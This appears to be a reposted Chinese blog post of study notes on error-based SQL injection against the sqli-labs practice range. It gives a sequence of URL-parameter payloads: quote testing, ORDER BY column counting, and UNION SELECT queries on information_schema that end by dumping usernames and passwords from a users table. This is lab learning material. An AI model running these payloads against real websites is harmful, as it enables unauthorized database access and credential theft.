渗透学习笔记(三)--SQL注入学习(一)
2022/1/18 2:05:09
本文主要是介绍渗透学习笔记(三)--SQL注入学习(一),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
@
目录- sql注入常见攻击思路
- 常见流程
使用靶场为
sqli
靶场
例题为GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
sql注入常见攻击思路
1:寻找到SQL注入的位置
2:判断服务器类型和后台数据库类型
3:针对不同的服务器和数据库特点进行SQL注入攻击
常见流程
- 首先判断sql语句闭合方式
常见的闭合方式:
id = 'input_id'
id = ('input_id')
id = "input_id"
id = ("input_id")
判断方法:
使用'
或者"
来进行判断,如果输入?id=1'
报错,那就是单引号闭合,"
类似。
如上图,'
报错。
- 判断回显列数
使用order by
子句判断返回的列数。
?id=1' order by 5 %23
%23
是#
的url编码,用来注释掉另一个'
order by 5
发现报错
继续尝试
发现order by 3
正常
- 判断返回格式:
id=-1' union select 1,2,3 %23
发现2和3被回显。
知道返回的列名之后,就可以执行后继的操作和查询各种数据了。
例如user()查询用户名,detabase()查询当前的数据库名,version()查询数据库版本
id=-1' union select 1,database(),version() %23
- 查询出当前数据库所有的表名
id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
其中group_concat()
是用来把数据在一行中打印出来。
information_schema
是mysql特有的库,存储各种数据库的信息
- 注入出某一个表中的全部列名
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') %23
- 获得字段内容
id=-1' union select 1,2,(select group_concat(Password) from users) %23
id=-1' union select 1,2,(select group_concat(username) from users) %23
这篇关于渗透学习笔记(三)--SQL注入学习(一)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-06-05做软件测试需要懂代码吗?
- 2024-06-0514-ShardingSphere的分布式主键实现
- 2024-06-03为什么以及如何要进行架构设计权衡?
- 2024-05-31全网首发第二弹!软考2024年5月《软件设计师》真题+解析+答案!(11-20题)
- 2024-05-31全网首发!软考2024年5月《软件设计师》真题+解析+答案!(21-30题)
- 2024-05-30【Java】百万数据excel导出功能如何实现
- 2024-05-30我们小公司,哪像华为一样,用得上IPD(集成产品开发)?
- 2024-05-30java excel上传--poi
- 2024-05-30安装笔记本应用商店的pycharm,再安排pandas等模块,说是没有打包工具?
- 2024-05-29java11新特性